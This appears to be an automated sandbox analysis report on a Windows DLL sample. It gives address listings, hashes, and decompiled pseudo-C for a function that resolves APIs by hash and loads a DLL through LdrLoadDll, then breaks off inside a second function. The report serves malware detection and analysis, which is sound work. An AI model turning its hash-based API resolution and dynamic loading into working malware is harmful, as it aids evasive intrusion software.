0x6eff3ece
0x6eff3edf
0x6eff4607
0x00000000
0x6eff3ee5
0x6eff3ee7
0x6eff3f14
0x6eff3f19
0x6eff3f1f
0x6eff3f23
0x6eff45de
0x6eff45e9
0x6eff45ef
0x6eff45ef
0x6eff45de
0x6eff3f2b
0x6eff3f34
0x6eff3f3c
0x00000000
0x6eff3f3c
0x6eff3ee9
0x6eff3ee9
0x6eff3ee9
0x6eff3eeb
0x6eff3eed
0x6eff3efb
0x6eff3efc
0x6eff3f02
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff3f02
0x6eff45f6
0x6eff45fc
0x6eff3f3e
0x6eff3f40
0x6eff3f4e
0x6eff3f4e
0x6eff4602
0x00000000
0x6eff4602
0x00000000
0x6eff3f04
0x6eff3f04
0x6eff3f0a
0x6eff3f0a
0x6eff3f10
0x00000000
0x6eff3ee9
0x6eff3ee7
0x6eff3f50
0x6eff3f57
0x6eff3f5e
0x6eff3f60
0x6eff3f6b
0x6eff3f8c
0x6eff3f92
0x6eff3fa3
0x6eff45c3
0x00000000
0x6eff3fa9
0x6eff3fab
0x6eff3fd8
0x6eff3fdd
0x6eff3fe3
0x6eff3fe7
0x6eff459a
0x6eff45a5
0x6eff45ab
0x6eff45ab
0x6eff459a
0x6eff3fef
0x6eff3ff8
0x6eff4000
0x00000000
0x6eff4000
0x6eff3fad
0x6eff3fad
0x6eff3fad
0x6eff3faf
0x6eff3fb1
0x6eff3fbf
0x6eff3fc0
0x6eff3fc6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff3fc6
0x6eff45b2
0x6eff45b8
0x6eff4002
0x6eff4004
0x6eff4019
0x6eff4019
0x6eff45be
0x00000000
0x6eff45be
0x00000000
0x6eff3fc8
0x6eff3fc8
0x6eff3fce
0x6eff3fce
0x6eff3fd4
0x00000000
0x6eff3fad
0x6eff3fab
0x6eff401b
0x6eff401b
0x6eff4024
0x6eff41de
0x6eff41e3
0x6eff41f3
0x6eff41f5
0x6eff4201
0x6eff457f
0x00000000
0x6eff4207
0x6eff4209
0x6eff4236
0x6eff423b
0x6eff4241
0x6eff4245
0x6eff4556
0x6eff4561
0x6eff4567
0x6eff4567
0x6eff4556
0x6eff424d
0x00000000
0x6eff4253
0x6eff425a
0x6eff4262
0x00000000
0x6eff4262
0x6eff420b
0x6eff420b
0x6eff420b
0x6eff420d
0x6eff420f
0x6eff421d
0x6eff421e
0x6eff4224
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff4224
0x6eff456e
0x6eff4574
0x6eff4264
0x6eff4266
0x6eff4470
0x6eff4474
0x6eff4481
0x6eff448e
0x6eff448e
0x00000000
0x6eff426c
0x6eff4285
0x6eff4289
0x00000000
0x6eff428f
0x6eff428f
0x6eff429b
0x6eff453b
0x00000000
0x6eff42a1
0x6eff42a3
0x6eff42d0
0x6eff42d5
0x6eff42db
0x6eff42e2
0x6eff4511
0x6eff451c
0x6eff4522
0x6eff4522
0x6eff4511
0x6eff42ec
0x00000000
0x6eff42f2
0x6eff42f2
0x6eff42fe
0x00000000
0x6eff42fe
0x6eff42a5
0x6eff42a5
0x6eff42a5
0x6eff42a7
0x6eff42a9
0x6eff42b7
0x6eff42b8
0x6eff42be
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff42be
0x6eff452a
0x6eff4530
0x6eff4303
0x6eff4305
0x6eff4448
0x6eff444c
0x6eff4459
0x6eff4466
0x6eff4466
0x00000000
0x6eff430b
0x6eff430b
0x6eff430d
0x6eff430e
0x6eff430e
0x6eff4536
0x00000000
0x6eff4536
0x00000000
0x6eff42c0
0x6eff42c0
0x6eff42c6
0x6eff42c6
0x6eff42cc
0x00000000
0x6eff42a5
0x6eff42a3
0x6eff429b
0x6eff4289
0x6eff457a
0x00000000
0x6eff457a
0x00000000
0x6eff4226
0x6eff4226
0x6eff422c
0x6eff422c
0x6eff4232
0x00000000
0x6eff420b
0x6eff4209
0x6eff402a
0x6eff4032
0x6eff403b
0x6eff403b
0x00000000
0x6eff4032
0x6eff3f6d
0x6eff3f75
0x6eff3f82
0x6eff3f82
0x6eff4040
0x6eff4040
0x6eff4042
0x6eff4047
0x00000000
0x6eff4047
0x6eff3e8f
0x6eff3e8f
0x6eff3e94
0x6eff3e9c
0x6eff3eae
0x6eff3ebc
0x6eff3eb0
0x6eff3eb0
0x6eff3eb0
0x6eff3e9e
0x6eff3e9e
0x6eff3e9e
0x6eff404a
0x6eff404a
0x6eff4056
0x6eff41cf
0x00000000
0x6eff405c
0x6eff405e
0x6eff408b
0x6eff4090
0x6eff4096
0x6eff409a
0x6eff41a6
0x6eff41b1
0x6eff41b7
0x6eff41b7
0x6eff41a6
0x6eff40a2
0x6eff40ab
0x6eff40b3
0x00000000
0x6eff40b3
0x6eff4060
0x6eff4060
0x6eff4060
0x6eff4062
0x6eff4064
0x6eff4072
0x6eff4073
0x6eff4079
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff4079
0x6eff41be
0x6eff41c4
0x6eff40b5
0x6eff40b7
0x6eff40c1
0x6eff40c1
0x6eff41ca
0x00000000
0x6eff41ca
0x00000000
0x6eff407b
0x6eff407b
0x6eff4081
0x6eff4081
0x6eff4087
0x00000000
0x6eff4060
0x6eff405e
0x6eff40c3
0x6eff40c3
0x6eff40eb
0x6eff40ef
0x6eff40f2
0x6eff40f5
0x6eff40f8
0x6eff4107
0x6eff4107
0x6eff39f9
0x6eff39f9
0x6eff39fa
0x6eff39fb
0x6eff39fb
0x6eff4778
0x00000000
0x6eff4778
0x00000000
0x6eff39bd
0x6eff39bd
0x6eff39c3
0x6eff39c3
0x6eff39c9
0x6eff39cd
0x6eff39d2
0x6eff39d8
0x6eff39dc
0x6eff4754
0x6eff475f
0x6eff4765
0x6eff4765
0x6eff4754
0x6eff39e4
0x00000000
0x6eff39e6
0x6eff39ed
0x6eff39f0
0x00000000
0x6eff39f0
0x6eff39e4
0x6eff399a
0x6eff395d
0x6eff3969
0x6eff3969
0x00000000

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f10c22726d35c90523f7229bb62829ae557201dcc7081196efd4c370b097ec44
Instruction ID: eb2b5d18b3486dd2f0823ea97eb3ad400609e43ce1234c88bb713b7ddedb8878
Opcode Fuzzy Hash: f10c22726d35c90523f7229bb62829ae557201dcc7081196efd4c370b097ec44
Instruction Fuzzy Hash: 74524631705342CBE764DBA9C9B47EE72A6AF81308F15862DD4588B3B5EB30C847C792

Uniqueness

Uniqueness Score: -1.00%

Function 6EFF6C50, Relevance: 2.1, APIs: 1, Instructions: 584
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EFF6C50(signed int __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t135;
				intOrPtr _t138;
				void* _t143;
				void* _t147;
				void* _t151;
				struct _OBJDIR_INFORMATION _t164;
				void* _t170;
				intOrPtr _t183;
				struct _OBJDIR_INFORMATION _t197;
				struct _OBJDIR_INFORMATION _t206;
				long _t212;
				void* _t215;
				intOrPtr _t246;
				signed int _t278;
				signed int _t279;
				void* _t281;
				intOrPtr _t282;
				void* _t291;
				void* _t340;
				struct _OBJDIR_INFORMATION _t342;
				intOrPtr _t345;
				struct _OBJDIR_INFORMATION _t363;
				intOrPtr _t366;
				struct _OBJDIR_INFORMATION _t382;
				struct _OBJDIR_INFORMATION _t389;
				struct _OBJDIR_INFORMATION _t390;
				struct _OBJDIR_INFORMATION _t391;
				intOrPtr* _t394;
				void* _t395;
				intOrPtr* _t397;
				void* _t398;
				void* _t399;
				void* _t401;
				void* _t402;
				void* _t404;
				void* _t405;
				void* _t406;
				short* _t407;
				void* _t408;
				void* _t410;
				void* _t411;
				intOrPtr _t412;
				intOrPtr* _t413;
				short* _t418;
				void* _t420;
				void* _t421;
				intOrPtr* _t422;
				void* _t424;
				void* _t425;
				struct _OBJDIR_INFORMATION* _t426;

				_t278 = __ecx;
				E6EFF8810(_t426 + 0x2c8, 0);
				E6EFF8810(_t426 + 0x2d0, 0);
				_t135 = E6EFF3930(__ecx, 0, _t399, _t406); // executed
				_t412 =  *0x6f01b208;
				if( *((char*)(_t135 + 0xb)) == 0x40) {
					if(_t412 == 0x228324a5) {
						_push(0x80);
						_t413 = E6EFF1030();
						_t426 = _t426 + 4;
						if(_t413 == 0) {
							_t413 = 0;
						} else {
							_t122 = _t413 + 8; // 0x8
							 *_t413 = 0;
							 *((intOrPtr*)(_t413 + 4)) = 0;
							E6EFF8810(_t122, 0);
							_t124 = _t413 + 0x10; // 0x10
							E6EFF8810(_t124, 0);
							_t125 = _t413 + 0x18; // 0x18
							E6EFF8810(_t125, 0);
							_t126 = _t413 + 0x20; // 0x20
							E6EFF8810(_t126, 0);
							_t127 = _t413 + 0x28; // 0x28
							E6EFF8810(_t127, 0);
							_t128 = _t413 + 0x30; // 0x30
							E6EFF8810(_t128, 0);
							_t129 = _t413 + 0x38; // 0x38
							E6EFF8810(_t129, 0);
							_t130 = _t413 + 0x40; // 0x40
							E6EFF8810(_t130, 0);
							_t131 = _t413 + 0x48; // 0x48
							E6EFF8810(_t131, 0);
							_t410 = 6;
							_t132 = _t413 + 0x50; // 0x50
							_t404 = _t132;
							do {
								E6EFF8810(_t404, 0);
								_t404 = _t404 + 8;
								_t410 = _t410 - 1;
							} while (_t410 != 0);
						}
						 *0x6f01b208 = _t413;
					}
					if(E6EFF9DC0(_t413 + 0x38) != 0) {
						E6EFF8810(_t426 + 0x26c, 0x80);
						_t342 =  *0x6f01b1f4; // 0x14a1340
						if(_t342 == 0xc139578) {
							 *0x6f01b1f4 = 0;
							goto L86;
						} else {
							if(_t342 == 0) {
								L86:
								_push(0xa1310f65);
								_t420 = E6EFF7564(0xa1310f65);
								if(_t420 == 0) {
									if(E6EFF6C50(0xa1310f65) != 0) {
										_push(0xa1310f65);
										_t420 = E6EFF7564(0xa1310f65);
									}
								}
								if(_t420 != 0) {
									_t426 = _t426 + 0xfffffff8;
									_t394 = E6EFF67C8(_t420, 0x7c2e142f);
									goto L89;
								}
							} else {
								do {
									_t421 = 0;
									_t395 = 0;
									while( *((intOrPtr*)(_t395 + _t342 + 8)) != 0x7c2e142f) {
										_t421 = _t421 + 1;
										_t395 = _t395 + 0x18;
										if(_t421 < 0x10) {
											continue;
										} else {
											goto L85;
										}
										goto L91;
									}
									_t394 =  *((intOrPtr*)(_t395 + _t342 + 0x14));
									if(_t394 != 0) {
										L89:
										if(_t394 != 0) {
											 *_t394( *(_t426 + 0x26c),  *(_t426 + 0x26c) >> 1);
										}
									} else {
										goto L86;
									}
									goto L91;
									L85:
									asm("o16 nop [eax+eax]");
									_t109 = _t342 + 0x180; // 0x14a8e68
									_t342 =  *_t109;
								} while (_t342 != 0);
								goto L86;
							}
						}
						L91:
						if(( *(E6EFF9DE0(_t426 + 0x268)) & 0x0000ffff) != 0x5c) {
							E6EFF96D0(_t426 + 0x26c, 0x5c);
						}
						_t345 =  *0x6f01b208; // 0x14a7710
						E6EFF8CC0(_t345 + 0x38,  *((intOrPtr*)(_t426 + 0x268)));
						E6EFF8CA0(_t426 + 0x268);
					}
					_t138 =  *0x6f01b208; // 0x14a7710
					E6EFF88C0(_t426 + 0x274, _t138 + 0x38);
					E6EFF8CC0(_t426 + 0x2c8,  *((intOrPtr*)(_t426 + 0x270)));
					_t291 = _t426 + 0x270;
				} else {
					if(_t412 == 0x228324a5) {
						_push(0x80);
						_t422 = E6EFF1030();
						_t426 = _t426 + 4;
						if(_t422 == 0) {
							_t422 = 0;
						} else {
							_t95 = _t422 + 8; // 0x8
							 *_t422 = 0;
							 *((intOrPtr*)(_t422 + 4)) = 0;
							E6EFF8810(_t95, 0);
							_t97 = _t422 + 0x10; // 0x10
							E6EFF8810(_t97, 0);
							_t98 = _t422 + 0x18; // 0x18
							E6EFF8810(_t98, 0);
							_t99 = _t422 + 0x20; // 0x20
							E6EFF8810(_t99, 0);
							_t100 = _t422 + 0x28; // 0x28
							E6EFF8810(_t100, 0);
							_t101 = _t422 + 0x30; // 0x30
							E6EFF8810(_t101, 0);
							_t102 = _t422 + 0x38; // 0x38
							E6EFF8810(_t102, 0);
							_t103 = _t422 + 0x40; // 0x40
							E6EFF8810(_t103, 0);
							_t104 = _t422 + 0x48; // 0x48
							E6EFF8810(_t104, 0);
							_t411 = 6;
							_t105 = _t422 + 0x50; // 0x50
							_t405 = _t105;
							do {
								E6EFF8810(_t405, 0);
								_t405 = _t405 + 8;
								_t411 = _t411 - 1;
							} while (_t411 != 0);
						}
						 *0x6f01b208 = _t422;
					}
					if(E6EFF9DC0(_t422 + 0x30) != 0) {
						E6EFF8810(_t426 + 0x27c, 0x80);
						_t363 =  *0x6f01b1f4; // 0x14a1340
						if(_t363 == 0xc139578) {
							 *0x6f01b1f4 = 0;
							goto L10;
						} else {
							if(_t363 == 0) {
								L10:
								_push(0xa1310f65);
								_t424 = E6EFF7564(0xa1310f65);
								if(_t424 == 0) {
									if(E6EFF6C50(0xa1310f65) != 0) {
										_push(0xa1310f65);
										_t424 = E6EFF7564(0xa1310f65);
									}
								}
								if(_t424 != 0) {
									_t426 = _t426 + 0xfffffff8;
									_t397 = E6EFF67C8(_t424, 0x4ade4070);
									goto L13;
								}
							} else {
								do {
									_t425 = 0;
									_t398 = 0;
									while( *((intOrPtr*)(_t398 + _t363 + 8)) != 0x4ade4070) {
										_t425 = _t425 + 1;
										_t398 = _t398 + 0x18;
										if(_t425 < 0x10) {
											continue;
										} else {
											goto L9;
										}
										goto L15;
									}
									_t397 =  *((intOrPtr*)(_t398 + _t363 + 0x14));
									if(_t397 != 0) {
										L13:
										if(_t397 != 0) {
											 *_t397( *(_t426 + 0x27c),  *(_t426 + 0x27c) >> 1);
										}
										goto L15;
									} else {
										goto L10;
									}
									L106:
									L9:
									asm("o16 nop [eax+eax]");
									_t7 = _t363 + 0x180; // 0x14a8e68
									_t363 =  *_t7;
								} while (_t363 != 0);
								goto L10;
							}
						}
						L15:
						if(( *(E6EFF9DE0(_t426 + 0x278)) & 0x0000ffff) != 0x5c) {
							E6EFF96D0(_t426 + 0x27c, 0x5c);
						}
						_t366 =  *0x6f01b208; // 0x14a7710
						E6EFF8CC0(_t366 + 0x30,  *((intOrPtr*)(_t426 + 0x278)));
						E6EFF8CA0(_t426 + 0x278);
					}
					_t246 =  *0x6f01b208; // 0x14a7710
					E6EFF88C0(_t426 + 0x2c0, _t246 + 0x30);
					E6EFF8CC0(_t426 + 0x2c8,  *((intOrPtr*)(_t426 + 0x2bc)));
					_t291 = _t426 + 0x2bc;
				}
				E6EFF8CA0(_t291);
				_t143 = E6F000220(_t426 + 0x2d4,  *((intOrPtr*)(_t426 + 0x2c8)), 0);
				E6EFF8810(_t426 + 0x2d8, 0x2800);
				_t407 =  *((intOrPtr*)(_t426 + 0x2d4));
				 *_t407 = 0;
				E6F009470(_t426 + 0x2ac, 0x6f01a1a0, 0x28);
				_t147 = E6F009640(_t426 + 0x2a8, 0);
				E6F00E780(_t278, _t147, E6F009650(_t426 + 0x2a4));
				 *((intOrPtr*)(_t426 + 0x294)) = _t407;
				 *((char*)(_t426 + 0x290)) = 0;
				 *((intOrPtr*)(_t426 + 0x298)) = 0;
				 *((intOrPtr*)(_t426 + 0x29c)) = 2;
				 *((char*)(_t426 + 0x2a0)) = 1;
				_t151 = E6F009640(_t426 + 0x2a8, 0);
				_push(_t426 + 0x290);
				_push(E6EFF7CD0);
				_push(0);
				_push(0x7fffffff);
				_push(0x6f01a1c8);
				E6F00E5D0(_t151, 0x28, _t407);
				E6F009510(_t426 + 0x2a4);
				E6F000220(_t143,  *((intOrPtr*)(_t426 + 0x2d8)), 0);
				E6EFF8CA0(_t426 + 0x2d4);
				 *_t426 = 0;
				 *(_t426 + 4) = 1;
				 *((intOrPtr*)(_t426 + 8)) = 0;
				 *((intOrPtr*)(_t426 + 0xc)) = 3;
				E6EFF8AB0(_t426 + 0x18,  *((intOrPtr*)(_t426 + 0x2d0)), 0);
				_push(1);
				if(E6F00CEA0(_t278, _t426 + 4, 0x28, _t143, _t407) == 0) {
					L53:
					E6EFF8CA0(_t426 + 0x10);
					if( *(_t426 + 4) != 0) {
						_t382 =  *_t426;
						if(_t382 == 0 || _t382 == 0xffffffff) {
							_t164 = 1;
						} else {
							_t164 = 0;
						}
						if(_t164 == 0) {
							E6F00CE70(_t382);
						}
					}
					 *_t426 = 0;
					E6EFF8CA0(_t426 + 0x2cc);
					E6EFF8CA0(_t426 + 0x2c4);
					return 0;
				} else {
					_t279 = _t278 ^ 0x38ba5c7b;
					_t408 = _t426 + 0x44;
					_t401 = _t426 + 0x2e8;
					while(1) {
						E6EFF8AB0(_t426 + 0x2e8, _t408, 0);
						E6EFF9E70(_t426 + 0x2e4, _t401);
						E6EFF83B0(_t426 + 0x2f0);
						_t170 = E6F00D620( *((intOrPtr*)(_t426 + 0x2f0)), E6F006040( *((intOrPtr*)(_t426 + 0x2f0)), 0x7fffffff));
						E6F000B10(_t426 + 0x2f0);
						if(_t279 == _t170) {
							break;
						}
						E6EFF8CA0(_t401);
						E6EFF8CA0(_t426 + 0x2e0);
						if(E6F00D0E0(_t426) != 0) {
							continue;
						} else {
							goto L53;
						}
						goto L106;
					}
					E6EFF8CA0(_t401);
					E6EFF88C0(_t426 + 0x2b8, _t426 + 0x2c4);
					E6F000220(_t426 + 0x2bc,  *((intOrPtr*)(_t426 + 0x2e4)), 0);
					_t409 =  *((intOrPtr*)(_t426 + 0x2b4));
					_push(E6F000180( *((intOrPtr*)(_t426 + 0x2b4)), 0x7fffffff,  *((intOrPtr*)(_t426 + 0x2b4))) + _t179 + 0xa);
					E6F009350(_t426 + 0x284);
					_t418 = E6F009640(_t426 + 0x284, 0);
					_t183 = E6F009640(_t426 + 0x284, 8);
					_t402 = E6F000180( *((intOrPtr*)(_t426 + 0x2b4)), 0x7fffffff, _t409);
					 *((intOrPtr*)(_t418 + 4)) = _t183;
					 *_t418 = _t402 + _t402;
					 *((short*)(_t418 + 2)) = _t402 + _t402 + 2;
					E6F0001B0(_t183, _t409, _t402 + _t402 + 2, _t409, 0);
					_t389 =  *0x6f01b1f4; // 0x14a1340
					 *(_t426 + 0x2dc) = 0;
					if(_t389 == 0xc139578) {
						 *0x6f01b1f4 = 0;
						goto L29;
					} else {
						if(_t389 == 0) {
							L29:
							_push(0x588ab3ea);
							_t281 = E6EFF7564(0x588ab3ea);
							if(_t281 == 0) {
								if(E6EFF6C50(0x588ab3ea) != 0) {
									_push(0x588ab3ea);
									_t281 = E6EFF7564(0x588ab3ea);
								}
							}
							if(_t281 == 0) {
								goto L43;
							} else {
								_t426 = _t426 + 0xfffffff8;
								_t282 = E6EFF67C8(_t281, 0x208c2589);
								goto L32;
							}
						} else {
							do {
								_t340 = 0;
								_t215 = 0;
								while( *((intOrPtr*)(_t215 + _t389 + 8)) != 0x208c2589) {
									_t340 = _t340 + 1;
									_t215 = _t215 + 0x18;
									if(_t340 < 0x10) {
										continue;
									} else {
										goto L28;
									}
									goto L106;
								}
								_t282 =  *((intOrPtr*)(_t215 + _t389 + 0x14));
								if(_t282 != 0) {
									L32:
									if(_t282 == 0) {
										L43:
										if( *(_t426 + 0x2dc) == 0) {
											goto L35;
										} else {
											goto L44;
										}
									} else {
										_t212 = LdrLoadDll(0, 0, E6F009640(_t426 + 0x284, 0), _t426 + 0x2dc); // executed
										if( *(_t426 + 0x2dc) == 0 || _t212 != 0) {
											L35:
											E6F009510(_t426 + 0x280);
											E6EFF8CA0(_t426 + 0x2b4);
											E6EFF8CA0(_t426 + 0x2e0);
											E6EFF8CA0(_t426 + 0x10);
											if( *(_t426 + 4) != 0) {
												_t390 =  *_t426;
												if(_t390 == 0 || _t390 == 0xffffffff) {
													_t197 = 1;
												} else {
													_t197 = 0;
												}
												if(_t197 == 0) {
													E6F00CE70(_t390);
												}
											}
											 *_t426 = 0;
											E6EFF8CA0(_t426 + 0x2cc);
											E6EFF8CA0(_t426 + 0x2c4);
											return 0;
										} else {
											L44:
											E6F009510(_t426 + 0x280);
											E6EFF8CA0(_t426 + 0x2b4);
											E6EFF8CA0(_t426 + 0x2e0);
											E6EFF8CA0(_t426 + 0x10);
											if( *(_t426 + 4) != 0) {
												_t391 =  *_t426;
												if(_t391 == 0 || _t391 == 0xffffffff) {
													_t206 = 1;
												} else {
													_t206 = 0;
												}
												if(_t206 == 0) {
													E6F00CE70(_t391);
												}
											}
											 *_t426 = 0;
											E6EFF8CA0(_t426 + 0x2cc);
											E6EFF8CA0(_t426 + 0x2c4);
											return 1;
										}
									}
								} else {
									goto L29;
								}
								goto L106;
								L28:
								asm("o16 nop [eax+eax]");
								_t67 = _t389 + 0x180; // 0x14a8e68
								_t389 =  *_t67;
							} while (_t389 != 0);
							goto L29;
						}
					}
				}
				goto L106;
			}

0x6eff6c5a
0x6eff6c65
0x6eff6c73
0x6eff6c7a
0x6eff6c7f
0x6eff6c89
0x6eff735c
0x6eff74c4
0x6eff74ce
0x6eff74d0
0x6eff74d5
0x6eff7551
0x6eff74d7
0x6eff74d9
0x6eff74dd
0x6eff74e0
0x6eff74e3
0x6eff74ea
0x6eff74ed
0x6eff74f4
0x6eff74f7
0x6eff74fe
0x6eff7501
0x6eff7508
0x6eff750b
0x6eff7512
0x6eff7515
0x6eff751c
0x6eff751f
0x6eff7526
0x6eff7529
0x6eff7530
0x6eff7533
0x6eff7538
0x6eff753d
0x6eff753d
0x6eff7540
0x6eff7544
0x6eff7549
0x6eff754c
0x6eff754c
0x6eff754f
0x6eff7553
0x6eff7553
0x6eff736e
0x6eff7380
0x6eff7385
0x6eff7391
0x6eff74b5
0x00000000
0x6eff7397
0x6eff7399
0x6eff73c8
0x6eff73cd
0x6eff73d3
0x6eff73d7
0x6eff748c
0x6eff7497
0x6eff749d
0x6eff749d
0x6eff748c
0x6eff73df
0x6eff73e8
0x6eff73f0
0x00000000
0x6eff73f0
0x6eff739b
0x6eff739d
0x6eff739d
0x6eff739f
0x6eff73a1
0x6eff73af
0x6eff73b0
0x6eff73b6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff73b6
0x6eff74a4
0x6eff74aa
0x6eff73f2
0x6eff73f4
0x6eff7407
0x6eff7407
0x6eff74b0
0x00000000
0x6eff74b0
0x00000000
0x6eff73b8
0x6eff73b8
0x6eff73be
0x6eff73be
0x6eff73c4
0x00000000
0x6eff739d
0x6eff7399
0x6eff7409
0x6eff741b
0x6eff7426
0x6eff7426
0x6eff742b
0x6eff743b
0x6eff7447
0x6eff7447
0x6eff744c
0x6eff745c
0x6eff746f
0x6eff7474
0x6eff6c8f
0x6eff6c95
0x6eff72bc
0x6eff72c6
0x6eff72c8
0x6eff72cd
0x6eff7349
0x6eff72cf
0x6eff72d1
0x6eff72d5
0x6eff72d8
0x6eff72db
0x6eff72e2
0x6eff72e5
0x6eff72ec
0x6eff72ef
0x6eff72f6
0x6eff72f9
0x6eff7300
0x6eff7303
0x6eff730a
0x6eff730d
0x6eff7314
0x6eff7317
0x6eff731e
0x6eff7321
0x6eff7328
0x6eff732b
0x6eff7330
0x6eff7335
0x6eff7335
0x6eff7338
0x6eff733c
0x6eff7341
0x6eff7344
0x6eff7344
0x6eff7347
0x6eff734b
0x6eff734b
0x6eff6ca7
0x6eff6cb9
0x6eff6cbe
0x6eff6cca
0x6eff72ad
0x00000000
0x6eff6cd0
0x6eff6cd2
0x6eff6d01
0x6eff6d06
0x6eff6d0c
0x6eff6d10
0x6eff7284
0x6eff728f
0x6eff7295
0x6eff7295
0x6eff7284
0x6eff6d18
0x6eff6d21
0x6eff6d29
0x00000000
0x6eff6d29
0x6eff6cd4
0x6eff6cd6
0x6eff6cd6
0x6eff6cd8
0x6eff6cda
0x6eff6ce8
0x6eff6ce9
0x6eff6cef
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff6cef
0x6eff729c
0x6eff72a2
0x6eff6d2b
0x6eff6d2d
0x6eff6d40
0x6eff6d40
0x00000000
0x6eff72a8
0x00000000
0x6eff72a8
0x00000000
0x6eff6cf1
0x6eff6cf1
0x6eff6cf7
0x6eff6cf7
0x6eff6cfd
0x00000000
0x6eff6cd6
0x6eff6cd2
0x6eff6d42
0x6eff6d54
0x6eff6d5f
0x6eff6d5f
0x6eff6d64
0x6eff6d74
0x6eff6d80
0x6eff6d80
0x6eff6d85
0x6eff6d95
0x6eff6da8
0x6eff6dad
0x6eff6dad
0x6eff6db4
0x6eff6dc9
0x6eff6ddc
0x6eff6de1
0x6eff6df1
0x6eff6dfb
0x6eff6e09
0x6eff6e20
0x6eff6e27
0x6eff6e2e
0x6eff6e35
0x6eff6e3c
0x6eff6e47
0x6eff6e57
0x6eff6e6a
0x6eff6e6b
0x6eff6e70
0x6eff6e72
0x6eff6e77
0x6eff6e7c
0x6eff6e88
0x6eff6e98
0x6eff6ea4
0x6eff6eab
0x6eff6eae
0x6eff6eb3
0x6eff6eb7
0x6eff6ecb
0x6eff6ed0
0x6eff6edd
0x6eff71d9
0x6eff71dd
0x6eff71e7
0x6eff71e9
0x6eff71ee
0x6eff71f9
0x6eff71f5
0x6eff71f5
0x6eff71f5
0x6eff7200
0x6eff7203
0x6eff7203
0x6eff7200
0x6eff7208
0x6eff7216
0x6eff7222
0x6eff7233
0x6eff6ee3
0x6eff6ee3
0x6eff6ee9
0x6eff6eed
0x6eff6ef4
0x6eff6efe
0x6eff6f0b
0x6eff6f1e
0x6eff6f3a
0x6eff6f48
0x6eff6f4f
0x00000000
0x00000000
0x6eff71b8
0x6eff71c4
0x6eff71d3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff71d3
0x6eff6f57
0x6eff6f6b
0x6eff6f80
0x6eff6f85
0x6eff6f9c
0x6eff6fa4
0x6eff6fb7
0x6eff6fc2
0x6eff6fd5
0x6eff6fdd
0x6eff6fe3
0x6eff6feb
0x6eff6fef
0x6eff6ff4
0x6eff6ffa
0x6eff700b
0x6eff7269
0x00000000
0x6eff7011
0x6eff7013
0x6eff7042
0x6eff7047
0x6eff704d
0x6eff7051
0x6eff7240
0x6eff724b
0x6eff7251
0x6eff7251
0x6eff7240
0x6eff7059
0x00000000
0x6eff705f
0x6eff7066
0x6eff706e
0x00000000
0x6eff706e
0x6eff7015
0x6eff7017
0x6eff7017
0x6eff7019
0x6eff701b
0x6eff7029
0x6eff702a
0x6eff7030
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff7030
0x6eff7258
0x6eff725e
0x6eff7070
0x6eff7072
0x6eff7126
0x6eff712e
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff7078
0x6eff7093
0x6eff709d
0x6eff70a7
0x6eff70ae
0x6eff70ba
0x6eff70c6
0x6eff70cf
0x6eff70d9
0x6eff70db
0x6eff70e0
0x6eff70eb
0x6eff70e7
0x6eff70e7
0x6eff70e7
0x6eff70f2
0x6eff70f5
0x6eff70f5
0x6eff70f2
0x6eff70fa
0x6eff7108
0x6eff7114
0x6eff7125
0x6eff7134
0x6eff7134
0x6eff713b
0x6eff7147
0x6eff7153
0x6eff715c
0x6eff7166
0x6eff7168
0x6eff716d
0x6eff7178
0x6eff7174
0x6eff7174
0x6eff7174
0x6eff717f
0x6eff7182
0x6eff7182
0x6eff717f
0x6eff7187
0x6eff7195
0x6eff71a1
0x6eff71b5
0x6eff71b5
0x6eff709d
0x6eff7264
0x00000000
0x6eff7264
0x00000000
0x6eff7032
0x6eff7032
0x6eff7038
0x6eff7038
0x6eff703e
0x00000000
0x6eff7017
0x6eff7013
0x6eff700b
0x00000000

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000000,?,00000000), ref: 6EFF7093

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8cd36d496247eba6678278ee7e06313191e6d38c778cc4ec61aff137d6225c29
Instruction ID: 5db3c1bc98280cd918aa2817f16f55733cdbcb9abdf235f0ad338279d294428b
Opcode Fuzzy Hash: 8cd36d496247eba6678278ee7e06313191e6d38c778cc4ec61aff137d6225c29
Instruction Fuzzy Hash: C9228530228382DBDB64EFA5CC74BEEB399AF80708F50492DA455571F0EF71994AC752

Uniqueness

Uniqueness Score: -1.00%

Function 6F0139F9, Relevance: 1.7, APIs: 1, Instructions: 157
filenetworkCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E6F0139F9(void* __eax, signed int __ebx, void* __edi) {
				long _t42;
				void* _t60;
				long _t63;
				long _t64;
				void* _t79;
				void* _t81;
				signed int _t86;
				void* _t124;
				void* _t128;
				void* _t133;
				long* _t134;
				void* _t139;

				_t124 = __edi;
				_t86 = __ebx;
				if(__eax == 0) {
					_t42 = E6EFF7F00();
					__eflags = _t42;
					if(_t42 != 0) {
